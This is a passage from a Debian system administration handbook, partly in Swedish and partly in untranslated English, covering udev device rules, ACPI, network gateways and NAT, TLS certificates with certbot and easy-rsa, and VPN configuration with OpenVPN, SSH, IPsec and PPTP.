ATTR{attribute}: filinnehåll av attribute filen i /sys/$devpath/-katalogen för enheten. Det är här du finner MAC-adressen och andra buss-specifika identifierare;

KERNELS, SUBSYSTEMS och ATTRS{attributes} är variationer som kommer att försöka att matcha olika alternativ för en av föräldraenheterna till aktuell enhet;

PROGRAM: delegerar testet till indikerat program (sant om det returnerar 0, annars falsk). Innehållet från programmets standardutmatning lagras så att det kan återanvändas i testet för RESULT;

RESULT: exekvera tester på standarutmatningen lagrad vid senaste körning av PROGRAM.

Högra operanderna kan använda mönstermatchning för att matcha flera värden samtidigt. Till exempel matchar * alla strängar (även en tom sträng); ? matchar varje tecken och [] matchar tecknen listade mellan hakparenteserna (eller tvärtom om första tecknet är ett utropstecken; intervall av tecken indikeras av a-z.

Gällande tilldelningsoperatorerna tilldelar = ett värde (och ersätter det nuvarande värdet); om det gäller en lista töms den och innehåller det tilldelade värdet. := gör likadant men förhindrar senare ändringar till samma variabel. += lägger till i listan. Följande variabler kan ändras:

NAME: enhetsfilnamnet att skapas i /dev/. Endast den första tilldelningen beaktas; de andra ignoreras;

SYMLINK: listan över symboliska länkar som kommer att peka på samma enhet;

OWNER, GROUP och MODE definierar användare och grupp som äger enheten såväl som tillhörande behörighet;

RUN: listan över program att exekvera som svar på denna händelse.

Värden tilldelade till dessa variabler kan använda ett antal substitioner:

$kernel eller %k: motsvarande KERNEL;

$number eller %n: enhetens ordningsnummer, till exempel för sda3, skulle det vara “3”;

$devpath eller %p: motsvarande DEVPATH;

$attr{attribute} eller %s{attribute}: motsvarande ATTRS{attribut};

$major eller %M: kärnans major-version för enheten;

$minor eller %m: kärnans minor-version för enheten;

$result eller %c: strängutmatningen för de senaste programmet startat med PROGRAM;

och slutligen, %% och $$ för procent-- och dollar-tecken.

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. Ett konkret exempel

Låt oss titta närmare på att försöka tilldela ett fast namn till en enkel USB-nyckel. Först måste du hitta elementen som kommer att identifera den på ett unikt sätt. För att göra detta, plugga in den och kör udevadm info -a -n /dev/sdc (ersätt /dev/sdc med namnet tilldelat till nyckeln).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}=="130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}=="0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

För att skapa en ny regel kan du använda tester på enhetens variabler såväl som för föräldraenheterna. Fallet ovan låter oss skapa två regler:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

När dessa regler är listade i en fil, exempelvis /etc/udev/rules.d/010_local.rules kan du ta bort och återansluta USB-stickan. Du kan sedan se att /dev/usb_key/disk representerar disken associerade med USB-stickan och /dev/usb_key/part1/ dess första partition.

NÄSTA STEG Felsöka konfigurationen för udev

Likt många demoner lagrar udevd loggar i/var/log/daemon.log. Men den är inte vidare informativ som standad, och vanligtvis räcker de inte för att förstå vad som händer. Kommandot udevadm control --log-priority=info ökar den informativa nivå och löser detta problem. udevadm control --log-priority=err återgår till standarnivå av information.

9.12. Strömhantering: Advanced Configuration and Power Interface (ACPI)

Ämnet energihantering är ofta problematiskt. Att korrekt försätta datorn i vänteläge kräver att datorns alla enhetsdrivrutiner vet hur detta ska ske, och att de korrekt konfigurer enheterna vid återaktivering. Olyckligtvis finns det fortfarande några få enheter som inte kan gå till vänteläge korrekt eftersom deras tillverkare inte har tillhandahållit specifikationerna.

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

OBSERVERA Grafikkort och vänteläge

Grafikkortets drivrutin är ofta den skyldiga när vänteläge inte fungerar så bra. I det fallet är det en bra ide att prova den senaste versionen av grafikservern X.org.

Efter denna överblick av grundläggande tjänster som återkommer i många Unixsystem kommer vi att fokusera på miljön för administrerade maskiner; nätverket. Många tjänster krävs för nätverket för att det ska komma igång korrekt. De kommer att diskuteras i nästa kapitel.

Kapitel 10. Nätverksinfrastruktur

Linux sports the whole Unix heritage for networking, and Debian provides a full set of tools to create and manage them. This chapter reviews these tools.

10.1. Gateway

A gateway is a system linking several networks. This term often refers to a local network's “exit point” on the mandatory path to all external IP addresses. The gateway is connected to each of the networks it links together, and acts as a router to convey IP packets between its various interfaces.

BACK TO BASICS IP packet

Most networks nowadays use the IP protocol (Internet Protocol). This protocol segments the transmitted data into limited-size packets. Each packet contains, in addition to its payload data, a number of details required for its proper routing.

TILLBAKA TILL GRUNDERNA TCP/UDP

Many programs do not handle the individual packets themselves, even though the data they transmit does travel over IP; they often use TCP (Transmission Control Protocol). TCP is a layer over IP allowing the establishment of connections dedicated to data streams between two points. The programs then only see an entry point into which data can be fed with the guarantee that the same data exits without loss (and in the same sequence) at the exit point at the other end of the connection. Although many kinds of errors can happen in the lower layers, they are compensated by TCP: lost packets are retransmitted, and packets arriving out of order (for example, if they used different paths) are re-ordered appropriately.

Another protocol relying on IP is UDP (User Datagram Protocol). In contrast to TCP, it is packet-oriented. Its goals are different: the purpose of UDP is only to transmit one packet from an application to another. The protocol does not try to compensate for possible packet loss on the way, nor does it ensure that packets are received in the same order as were sent. The main advantage to this protocol is that the latency is greatly improved, since the loss of a single packet does not delay the receiving of all following packets until the lost one is retransmitted.

TCP and UDP both involve ports, which are “extension numbers” for establishing communication with a given application on a machine. This concept allows keeping several different communications in parallel with the same correspondent, since these communications can be distinguished by the port number.

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server. The list of services associated with port numbers can be found in the /etc/services file, also explained in services(5), as well as in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

When a local network uses a private address range (not routable on the Internet), the gateway needs to implement address masquerading so that the machines on the network can communicate with the outside world. The masquerading operation is a kind of proxy operating on the network level: each outgoing connection from an internal machine is replaced with a connection from the gateway itself (since the gateway does have an external, routable address), the data going through the masqueraded connection is sent to the new one, and the data coming back in reply is sent through to the masqueraded connection to the internal machine. The gateway uses a range of dedicated TCP ports for this purpose, usually with very high numbers (over 60000). Each connection coming from an internal machine then appears to the outside world as a connection coming from one of these reserved ports.

CULTURE Private address range

RFC 1918 defines three ranges of IPv4 addresses not meant to be routed on the Internet but only used in local networks. The first one, 10.0.0.0/8 (see sidebar BACK TO BASICS Essential network concepts (Ethernet, IP address, subnet, broadcast)), is a class-A range (with 2²⁴ IP addresses). The second one, 172.16.0.0/12, gathers 16 class-B ranges (172.16.0.0/16 to 172.31.0.0/16), each containing 2¹⁶ IP addresses. Finally, 192.168.0.0/16 is a class-B range (grouping 256 class-C ranges, 192.168.0.0/24 to 192.168.255.0/24, with 256 IP addresses each).

→ http://www.faqs.org/rfcs/rfc1918.html

The gateway can also perform two kinds of network address translation (or NAT for short). The first kind, Destination NAT (DNAT) is a technique to alter the destination IP address (and/or the TCP or UDP port) for a (generally) incoming connection. The connection tracking mechanism also alters the following packets in the same connection to ensure continuity in the communication. The second kind of NAT is Source NAT (SNAT), of which masquerading is a particular case; SNAT alters the source IP address (and/or the TCP or UDP port) of a (generally) outgoing connection. As for DNAT, all the packets in the connection are appropriately handled by the connection tracking mechanism. Note that NAT is only relevant for IPv4 and its limited address space; in IPv6, the wide availability of addresses greatly reduces the usefulness of NAT by allowing all “internal” addresses to be directly routable on the Internet (this does not imply that internal machines are accessible, since intermediary firewalls can filter traffic).

BACK TO BASICS Port forwarding

A concrete application of DNAT is port forwarding. Incoming connections to a given port of a machine are forwarded to a port on another machine. Other solutions may exist for achieving a similar effect, though, especially at the application level with ssh (see Avsnitt 9.2.1.4, ”'Skapa krypterade tunnlar med portvidarebefordring”) or redir.

Enough theory, let's get practical. Turning a Debian system into a gateway is a simple matter of enabling the appropriate option in the Linux kernel, by way of the /proc/ virtual filesystem:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

Exempel 10.1. /etc/sysctl.conf fil

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

The same effect can be obtained for IPv6 by simply replacing ipv4 with ipv6 in the manual command and using the net.ipv6.conf.all.forwarding line in /etc/sysctl.conf.

Enabling IPv4 masquerading is a slightly more complex operation that involves configuring the netfilter firewall.

Similarly, using NAT (for IPv4) requires configuring netfilter. Since the primary purpose of this component is packet filtering, the details are listed in Kapitel 14: ”Säkerhet” (see Avsnitt 14.2, ”Brandvägg eller Paketfiltrering”).

10.2. X.509 certifikat

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in Avsnitt 10.2.2, ”Publik nyckelinfrastruktur easy-rsa”), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar SECURITY Snake oil SSL certificates). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python3-certbot-apache [...] # certbot --apache aving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server. Do you agree? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: Y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing, once your first certificate is successfully issued, to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N Account registered. No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Requesting a certificate for falcot.com Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2022-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. Publik nyckelinfrastruktur easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIV GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

The Falcot Corp administrators use this tool to create the required certificates, both for the server and the clients. This allows the configuration of all clients to be similar since they will only have to be set up so as to trust certificates coming from Falcot's local CA. This CA is the first certificate to create; to this end, the administrators set up a directory with the files required for the CA in an appropriate location, preferably on a machine not connected to the network in order to mitigate the risk of the CA's private key being stolen.

$ make-cadir pki-falcot $ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI" #set_var EASYRSA_DN "cn_only" set_var EASYRSA_REQ_COUNTRY "FR" set_var EASYRSA_REQ_PROVINCE "Loire" set_var EASYRSA_REQ_CITY "Saint-Étienne" set_var EASYRSA_REQ_ORG "Falcot Corp" set_var EASYRSA_REQ_EMAIL "admin@falcot.com" set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 825 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_RAND_SN "yes" #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" #set_var EASYRSA_KDC_REALM "CHANGEME.EXAMPLE.COM" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $ vim vars $

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/debian/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating RSA private key, 2048 bit long modulus (2 primes) ..................+++++ ...............................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/debian/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section Avsnitt 10.3, ”Virtuellt privat nätverk”) that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ......................................+++++ ..........................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 825 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

The following step creates certificates for the VPN clients; one certificate is required for each computer or person allowed to use the VPN:

$ ./easyrsa build-client-full JoeSmith nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ...................................+++++ .........................................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE' ----- Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated

10.3. Virtuellt privat nätverk

A Virtual Private Network (VPN for short) is a way to link two different local networks through the Internet by way of a tunnel; the tunnel is usually encrypted for confidentiality. VPNs are often used to integrate a remote machine within a company's local network.

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

OpenVPN is a piece of software dedicated to creating virtual private networks. Its setup involves creating virtual network interfaces on the VPN server and on the client(s); both tun (for IP-level tunnels) and tap (for Ethernet-level tunnels) interfaces are supported. In practice, tun interfaces will most often be used except when the VPN clients are meant to be integrated into the server's local network by way of an Ethernet bridge.

OpenVPN relies on OpenSSL for all the SSL/TLS cryptography and associated features (confidentiality, authentication, integrity, non-repudiation). It can be configured either with a shared private key or using X.509 certificates based on a public key infrastructure. The latter configuration is strongly preferred since it allows greater flexibility when faced with a growing number of roaming users accessing the VPN.

10.3.1.1. Konfigurera OpenVPN servern

After all certificates have been created (follow the instructions from Avsnitt 10.2.2, ”Publik nyckelinfrastruktur easy-rsa”), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

Barring further action, VPN clients can only access the VPN server itself by way of the 10.8.0.1 address. Granting the clients access to the local network (192.168.0.0/24), requires adding a push route 192.168.0.0 255.255.255.0 directive to the OpenVPN configuration so that VPN clients automatically get a network route telling them that this network is reachable by way of the VPN. Furthermore, machines on the local network also need to be informed that the route to the VPN goes through the VPN server (this automatically works when the VPN server is installed on the gateway). Alternatively, the VPN server can be configured to perform IP masquerading so that connections coming from VPN clients appear as if they are coming from the VPN server instead (see Avsnitt 10.1, ”Gateway”).

10.3.1.2. Konfigurera OpenVPN klienten

Setting up an OpenVPN client also requires creating a configuration file in /etc/openvpn/. A standard configuration can be obtained by using /usr/share/doc/openvpn/examples/sample-config-files/client.conf as a starting point. The remote vpn.falcot.com 1194 directive describes the address and port of the OpenVPN server; the ca, cert and key also need to be adapted to describe the locations of the key files.

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see Avsnitt 8.2.5, ”Automatic Network Configuration for Roaming Users”) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. Virtuella privat nätverk med SSH

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

The second method is more recent, and was introduced with OpenSSH 4.3; it is now possible for OpenSSH to create virtual network interfaces (tun*) on both sides of an SSH connection, and these virtual interfaces can be configured exactly as if they were physical interfaces. The tunneling system must first be enabled by setting PermitTunnel to “yes” in the SSH server configuration file (/etc/ssh/sshd_config). When establishing the SSH connection, the creation of a tunnel must be explicitly requested with the -w any:any option (any can be replaced with the desired tun device number). This requires the user to have administrator privilege on both sides, so as to be able to create the network device (in other words, the connection must be established as root).

Both methods for creating a virtual private network over SSH are quite straightforward. However, the VPN they provide is not the most efficient available; in particular, it does not handle high levels of traffic very well.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

In spite of its status as the reference, the complexity of setting up IPsec restricts its usage in practice. OpenVPN-based solutions will generally be preferred when the required tunnels are neither too many nor too dynamic.

VARNING IPsec och NAT

NATing firewalls and IPsec do not work well together: since IPsec signs the packets, any change on these packets that the firewall might perform will void the signature, and the packets will be rejected at their destination. Various IPsec implementations now include the NAT-T technique (for NAT Traversal), which basically encapsulates the IPsec packet within a standard UDP packet.

SÄKERHET IPsec och brandväggar

The standard mode of operation of IPsec involves data exchanges on UDP port 500 for key exchanges (also on UDP port 4500 in the case that NAT-T is in use). Moreover, IPsec packets use two dedicated IP protocols that the firewall must let through; reception of these packets is based on their protocol numbers, 50 (ESP) and 51 (AH).

10.3.4. PPTP

PPTP (for Point-to-Point Tunneling Protocol) uses two communication channels, one for control data and one for payload data; the latter uses the GRE protocol (Generic Routing Encapsulation). A standard PPP link is then set up over the data exchange channel.

10.3.4.1. Konfigurera klienten

The pptp-linux package contains an easily-configured PPTP client for Linux. The following instructions take their inspiration from the official documentation:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

The Falcot administrators created several files: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot, and /etc/ppp/ip-down.d/falcot.

Exempel 10.2. /etc/ppp/options.pptp filen

# PPP options used for a PPTP connection lock noauth nobsdcomp nodeflate

Exempel 10.3. /etc/ppp/peers/falcot filen

